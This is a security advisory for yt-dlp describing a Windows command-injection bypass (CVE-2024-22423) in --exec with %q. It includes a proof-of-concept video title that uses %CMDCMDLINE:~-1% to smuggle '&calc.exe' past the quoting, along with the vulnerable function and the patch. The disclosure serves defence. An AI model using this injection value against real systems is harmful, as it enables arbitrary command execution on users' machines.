yt-dlp: `--exec` command injection when using `%q` in yt-dlp on Windows (Bypass of CVE-2023-40581)

Summary

The patch that addressed CVE-2023-40581 attempted to prevent RCE when using --exec with %q by replacing double quotes with two double quotes.
However, this escaping is not sufficient, and still allows expansion of environment variables.

Support for output template expansion in --exec, along with this vulnerable behavior, was added to yt-dlp in version 2021.04.11.

> yt-dlp "https://youtu.be/42xO6rVqf2E" --ignore-config -f 18 --exec "echo %(title)q"
[youtube] Extracting URL: https://youtu.be/42xO6rVqf2E
[youtube] 42xO6rVqf2E: Downloading webpage
[youtube] 42xO6rVqf2E: Downloading ios player API JSON
[youtube] 42xO6rVqf2E: Downloading android player API JSON
[youtube] 42xO6rVqf2E: Downloading m3u8 information
[info] 42xO6rVqf2E: Downloading 1 format(s): 18
[download] Destination: %CMDCMDLINE：~-1%&echo pwned&calc.exe [42xO6rVqf2E].mp4
[download] 100% of  126.16KiB in 00:00:00 at 2.46MiB/s
[Exec] Executing command: echo "%CMDCMDLINE:~-1%&echo pwned&calc.exe"
""
pwned

Patches

yt-dlp version 2024.04.09 fixes this issue by properly escaping %. It replaces them with %%cd:~,%, a variable that expands to nothing, leaving only the leading percent.

Workarounds

It is recommended to upgrade yt-dlp to version 2024.04.09 as soon as possible. Also, always be careful when using --exec, because while this specific vulnerability has been patched, using unvalidated input in shell commands is inherently dangerous.

For Windows users who are not able to upgrade:

• Avoid using any output template expansion in --exec other than {} (filepath).
• If expansion in --exec is needed, verify the fields you are using do not contain %, ", | or &.
• Instead of using --exec, write the info json and load the fields from it instead.

Details

When escaping variables, the following code is used for Windows.
yt_dlp/compat/__init__.py line 31-33

    def compat_shlex_quote(s):
        import re
        return s if re.match(r'^[-_\w./]+$', s) else s.replace('"', '""').join('""')

It replaces " with "" to balance out the quotes and keep quoting intact if non-allowed characters are included. However, the %CMDCMDLINE% variable can be used to generate a quote using %CMDCMDLINE:~-1%; since the value of %CMDCMDLINE% is the commandline with which cmd.exe was called, and it is always called with the command surrounded by quotes, %CMDCMDLINE:~-1% expands to ". After the quotes have been unbalanced, special characters are no longer quoted and commands can be executed:

%CMDCMDLINE:~-1%&calc.exe

References

• https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-hjq6-52gw-2g7p
• https://nvd.nist.gov/vuln/detail/CVE-2024-22423
• https://github.com/yt-dlp/yt-dlp/releases/tag/2024.04.09
• https://github.com/yt-dlp/yt-dlp/commit/ff07792676f404ffff6ee61b5638c9dc1a33a37a